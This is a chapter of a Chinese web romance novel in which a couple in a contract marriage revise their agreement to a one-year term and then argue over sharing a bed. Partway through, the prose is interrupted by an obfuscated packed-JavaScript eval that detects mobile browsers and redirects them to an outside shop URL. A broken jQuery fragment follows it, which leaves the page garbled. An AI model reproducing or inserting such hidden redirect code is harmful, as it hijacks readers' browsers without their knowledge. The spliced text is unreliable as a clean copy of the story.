7. 你当我是个尸体
    浴室里的暖风关了。

    姜予用浴巾擦拭身上水渍的时候才发现一直戴在右手无名指上的婚戒不见了。

    什么时候掉了?

    她短暂地蹙了下眉,倒也没太在意,左右就只是个形式,既不代表爱情也不代表婚姻,只是代表一次交易而已。

    之前被设定成恋爱脑拎不清,现在脑子清醒了自然是打算摘掉的,现在它自己掉了也好。

    吹干了头发,换了件新的浴袍,她整个人神清气爽,走出浴室才发现外面天已经全黑了。

    她给自己接了杯温水,到窗边将窗帘拉住阻隔了凉沉的夜色,之后盘腿儿坐在了铺着小毛毯的飘窗上。

    飘窗上放了只小茶几,平日闲来无事她会在这里看书喝咖啡,恰巧有太阳晒进来的时候更是难得的惬意。不过这会儿茶几上面只放了她的那台笔记本电脑。

    她打开电脑,从办公文件的云记录里找到了当时方秘书给她发来的协议文件,边喝水边仔细将内容浏览了一遍,最后放下水杯修改了几处,在打印选项里设置了两份。

    小型的蓝牙打印机“滋滋”几声,吐出了几页印好的纸,随手签好自己的名字后,她喝掉杯里最后一口水,起身去那了新出露的协议,去敲了隔壁的门。

    “进。”

    姜予推开虚掩着的门,就看到秦晏正坐在小沙发上盯着电脑看,应该是又没做完的工作。

    他身上仍是回家时的那套着装,只不过脱掉了西装外套,白衬衫扎进黑色西裤里,可能是知道她要来,竟连领带都没舍得松。

    姜予嘴角抽了一下。

    还挺守男德,好像我图你色似的。

    “这份协议麻烦秦总确认一下。”姜予做了下表情管理,走过去坐在秦晏的沙发扶手上,笑着将两份协议递了过去。

    秦晏接过东西之后才转头看了她一眼,没说话,修长的几根手指开始翻弄那几页纸。

    “我稍微改动了一下。”姜予微微俯身,伸手帮他指出了一处,“这里,本来写的是秦总你拥有这段婚姻的单方面解除权,现在我改成了只要我能还完那五千万欠款,那么我也有随时选择离婚的权利。”

    顿了顿她又补充:“你要想收点儿利息也行,但不能太黑心,不然我举报你放/高/利/贷。”

    “……”秦晏都快气笑了,“我再落魄也不至于差你那仨瓜俩枣的利息。”

    姜予扯了扯嘴角,又指出另一处:“这里原本写着离婚后另给我五千万补偿,或者把华园这套房产给我,我也改了,我不要补偿,但我已经决定近期就复出去工作,本着互惠共赢原则,我希望秦总能在力所能及的时候稍稍给我提供一些帮助。”

    她两根手指比了一个“一丢丢”的手势,极力表示自己并非贪得无厌:“协议里也白纸黑字写着,只要不违背公序良俗,我也有义务在秦总需要的时候提供帮助,不会让你吃亏的。”

    “你要去工作?”秦晏抿了下唇。

    他印象中在他们一开始订婚的时候,赵慧如就以“希望儿媳妇能回归家庭,违约金她来解决”的说辞,要求姜予退圈了。

    赵慧如要求姜予退圈,就是为了不让他在将来多出任何助力,万一任姜予在娱乐圈发展,真给她混成了顶流,那她就不再是可以随意被拿捏的姜家落魄大小姐了。

    届时姜予要是选择站在他那边,赵慧如就等于搬起石头砸自己的脚了。

    姜予当时退圈退得突然,跟经纪公司那边闹得不大愉快,好不容易捧出一颗摇钱树,还没摇出几个子儿呢,这树就自己跑了,经纪人更是气得跟她一拍两散,直言不想再看见她,几乎算是结了仇。

    她要想复出,确实需要有人能帮她清除一些阻碍。

    秦晏手里的钢笔无意识地在那几张纸上戳了几下,他觉得不错。

    姜予愿意重新回娱乐圈发展,他乐于推波助澜,她站不站在他这边无所谓,重要的是搅浑秦家这一潭水。

    “嗯。”姜予身体后仰,手肘拄着沙发靠背边沿,脑袋倚在从浴袍款大袖口露出来的一截小臂上,“之前说回归家庭,是以为真的有家庭需要我回归,结果这不是,家里就我一个人么。”

    秦晏:“……”

    谢谢,有被阴阳怪气到。

    春夜里寒凉,屋子里稍微开了些暖风,温度舒适得让人犯困。

    就在姜予脑袋开始一点一点地犯困的时候,秦晏终于又开口了:“那五千万是秦家跟姜家的交易,不是我跟姜家的交易,我不清楚除了你我的婚姻,姜家还答应了秦家什么条件。”

    以赵慧如的性子,绝不可能只是找个眼线放在他身边这么简单,定还有其他算计。

    姜予一脸“你怎么什么都不知道”的表情:“所以你,秦氏现任总裁,跟秦家不是一伙儿的?”

    秦晏愣了一下,合着她真什么都不知道就来秦家了?还是这个时候了她还在演戏试图换取他的信任?

    她的演技他也是有过一些了解的,演什么都跟真的一样,不得不防。

    他捏了捏眉心:“不该你知道的别打听。”

    顿了几才又继续说:“但只要你安安分分,我可以答应你一年为限,一年后你可以随时要求离婚,五千万也不用还。”

    一年时间,足够他将秦氏拿捏在手,到时候他的决定才是秦氏的决定,无论姜家当初是以什么条件跟秦家换得那五千万,只要他不追究,就没人再去深究。

    只是一切的前提是姜予安分守己,不去站在他的对立面。

    否则,姜家也别怪他不念情分。

    至于给姜家那五千万,反正也不是他的钱。

    虽然有些迷惑,但姜予对这个一年期限相当满意,一口答应:“行。”

    就是她还得找机会回家一趟,问问老姜当初还答应了秦家什么条件,别回头她离了婚,都没有娘家可回了。

    合同又改了一版,两人都签了字,一人一份。

    她签字的时候他才注意到,之前住院时还被她戴在手上的婚戒不见了,只在她白皙漂亮的手指上留下一个浅淡的带过戒指的痕迹。

    姜予拿着合同,笑容里多了几分真心:“多谢秦总,日后有什么需要我帮忙的尽管提,只要我力所能及,绝不推辞。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061044|137732||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    秦晏也不知道自己是怎么想的,张口就接了句:“以前到没见你一口一个秦总叫得这么生疏。”

    等反应过来的时候,他恨说话没有“两分钟之内可以撤回”这种优秀机制。

    “啊?”姜予呵呵尬笑了一下,“咱们现在是盟友关系,私底下就没必要喊老公了吧?不过你放心,在外我还是喊你老公,演戏我是专业的,包演全套儿。”

    “知道就好。”秦晏用一种极其生硬的语调回应了一句,随后拿着换洗衣物进了浴室。

    姜予抱着手臂嘲浴室门“哼”了一声:神金,这有啥不知道的,我又不是傻子。

    听到她内心吐槽的系统OS:果然,不告诉她我们其实是个言情系统、一切任务都是为了推进他们的关系是非常明确的选择!

    不然她说不定又要创死在金砖上了。

    秦晏就是简单地冲一澡,速度很快,不到二十分钟人就出来了,身上穿着绸质的黑色家居服,一样将纽扣一颗不落的系好,主打一个能不露的地方绝对不露。

    他这屋的沙发打开可以变成一张小床,平常姜予不得不来这屋睡的时候会睡在沙发床上,而这会儿他抬眼一看,却发现那女人大剌剌地躺在他的床上。

    “这是什么意思?”他皱眉。

    姜予正捧着手机在小天才APP上刷“今日八卦趣闻”,正看得入迷,听到声音也没抬头:“你这个床垫怪舒服的,就让我睡一晚。”

    说完觉得自己态度不够诚恳,于是终于爬起来坐好,冲他眨了两下眼,摆出招牌小白花式甜笑:“求求你啦~我发誓我绝对没有其他企图!我对你的身子……”

    她眼神特意在他身上流转几遭。

    男人就算把衣服扣子都系上,但家居服总归都是宽松的,衣领堪堪遮住一半锁骨。刚洗完热水澡,他人都有点儿红温,有种平常见不到的涩气。

    姜予嘴角的笑没绷住抽了一下,差点儿破功,随后垂下眼假意咳了一声才强行稳住心态,坚持表态:“对你身子兴趣不大。”

    其实……对身子也是有点儿兴趣的,只是对人没兴趣而已

    她默默为自己是个取向为男身体健康的成年女性而感到苦恼。

    秦晏:“……”你看我信吗?

    她之前也不是没有过类似操作,甚至穿吊带睡衣引诱她都试过,就是为了留在他的床上。

    但最后都以被赶到沙发床休息而告终。

    “真的!我保证不做多余的事,你要相信我对盟友的忠诚度!”姜予为了让自己更可信一些,直接抓起两个枕头摆在床中间,将两米宽的大床一分为二,“这样放心了吧?”

    每次都赶她去睡沙发确实让秦晏心虚,但以他的身高去睡沙发显然更不合适。

    最后秦晏也不知道自己怎么就信了她的鬼话,关灯躺在床的另一边后他又瞟了枕头另一边的女人一眼,莫名有种不详的预感。

    没有脱掉家居服就是他最后的倔强。

    “看来秦总是真怕我图谋不轨啊。”姜予仰躺在另一侧,合上眼宽慰他,“我保证就这样一动不动到天亮,你当我是个尸体就行。”